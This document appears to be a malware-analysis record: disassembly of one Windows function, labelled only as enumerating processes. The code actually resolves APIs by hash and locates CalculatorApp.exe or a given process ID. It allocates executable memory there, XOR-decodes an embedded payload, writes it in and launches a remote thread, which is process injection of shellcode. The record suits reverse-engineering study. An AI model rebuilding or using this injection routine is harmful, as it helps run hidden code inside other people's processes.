Function at 0x4017ed
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x240
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x1d0], ecx
mov qword [rbp + 0x1d8], rdx
call dbg.__main
lea rax, [rbp + 0x100]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x100], 0x68
mov ecx, 0xf54511cc
call sym.faddr
mov rdx, rax
lea rax, [0x0204e9b0]
mov qword [rax], rdx
mov ecx, 0x1b7ac318
call sym.faddr
mov rdx, rax
lea rax, [0x0144e980]
mov qword [rax], rdx
mov ecx, 0x22755cd3
call sym.faddr
mov rdx, rax
lea rax, [0x0204e9a0]
mov qword [rax], rdx
mov ecx, 0x7a01acb6
call sym.faddr
mov rdx, rax
lea rax, [0x0204e9a8]
mov qword [rax], rdx
mov ecx, 0x4c236b90
call sym.faddr
mov rdx, rax
lea rax, [0x0144e988]
mov qword [rax], rdx
lea rax, [0x0204e9b0]
mov rax, qword [rax]
mov ecx, 0xfa0
call rax
mov dword [rbp - 0x30], 0x130
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0x1b0], rax
lea rax, [rbp - 0x30]
mov rcx, qword [rbp + 0x1b0]
mov rdx, rax
call sym.Process32First
cmp eax, 1
jne 0x40192d
jmp 0x401915
lea rax, [rbp - 0x30]
add rax, 0x2c
lea rdx, str.CalculatorApp.exe
mov rcx, rax
call sym.stricmp
test eax, eax
jne 0x401915
mov eax, dword [rbp - 0x28]
mov word [rbp + 0x1ae], ax
jmp 0x40192d
lea rax, [rbp - 0x30]
mov rcx, qword [rbp + 0x1b0]
mov rdx, rax
call sym.Process32Next
cmp eax, 1
je 0x4018ee
mov rax, qword [rbp + 0x1b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [0x0144e988]
mov rcx, qword [rax]
lea rax, [0x0204e9a8]
mov rdx, qword [rax]
lea rax, [0x0204e9a0]
mov r9, qword [rax]
lea rax, [0x0144e980]
mov r8, qword [rax]
lea rax, [0x0204e9b0]
mov rax, qword [rax]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rdx
mov rdx, rax
lea rcx, str._p_n_p_n_p_n_p_n_p_n
call sym.printf
mov rax, qword [rbp + 0x1d8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.str2int
mov word [rbp + 0x1ae], ax
lea rax, [0x0144e980]
mov rax, qword [rax]
movzx edx, word [rbp + 0x1ae]
mov r8d, edx
mov edx, 0
mov ecx, 0x43a
call rax
mov qword [rbp + 0x1a0], rax
cmp qword [rbp + 0x1a0], 0
jne 0x4019ea
lea rax, [0x0204e9b8]
mov rax, qword [rax]
mov ecx, 2
call rax
lea rax, [0x0204e9a8]
mov r10, qword [rax]
mov rax, qword [0x0144b550]
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp + 0x1a0]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rdx
mov edx, 0
mov rcx, rax
call r10
mov qword [rbp + 0x198], rax
cmp qword [rbp + 0x198], 0
jne 0x401a44
lea rax, [0x0204e9b8]
mov rax, qword [rax]
mov ecx, 3
call rax
lea rcx, [0x0144b022]
call sym.puts
mov dword [rbp + 0x1bc], 0
jmp 0x401a9d
mov rax, qword [0x0144b550]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1bc]
sub edx, eax
mov eax, edx
lea edx, [rax - 1]
mov rax, qword [0x0144b540]
mov edx, edx
movzx eax, byte [rax + rdx]
xor eax, 0xffffffea
mov ecx, eax
lea rdx, [0x0144e9a0]
mov eax, dword [rbp + 0x1bc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x1bc], 1
mov edx, dword [rbp + 0x1bc]
mov rax, qword [0x0144b550]
mov eax, dword [rax]
cmp edx, eax
jb 0x401a5c
lea rcx, str.before_wirte
call sym.puts
lea rax, [0x0144e988]
mov r10, qword [rax]
mov rax, qword [0x0144b550]
mov eax, dword [rax]
mov r8d, eax
mov rdx, qword [rbp + 0x198]
mov rax, qword [rbp + 0x1a0]
lea rcx, [rbp - 0x38]
mov qword [rsp + 0x20], rcx
mov r9, r8
lea rcx, [0x0144e9a0]
mov r8, rcx
mov rcx, rax
call r10
mov rax, qword [rbp - 0x38]
mov rdx, rax
lea rcx, str.bytes_written__d_n
call sym.printf
mov rax, qword [0x0144b550]
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp - 0x38]
cmp rdx, rax
je 0x401b34
lea rax, [0x0204e9b8]
mov rax, qword [rax]
mov ecx, 4
call rax
lea rax, [0x0204e9b0]
mov rax, qword [rax]
mov ecx, 0x2710
call rax
lea rcx, str.enter_username
call sym.puts
lea rax, [0x0204e9a0]
mov r10, qword [rax]
mov rdx, qword [rbp + 0x198]
mov rax, qword [rbp + 0x1a0]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
call r10
mov qword [rbp + 0x190], rax
cmp qword [rbp + 0x190], 0
jne 0x401bb9
lea rax, [0x0204e9b8]
mov rax, qword [rax]
mov ecx, 5
call rax
lea rax, [0x0204e9b0]
mov rax, qword [rax]
mov ecx, 0x1388
call rax
mov eax, 0
add rsp, 0x240
pop rbp
ret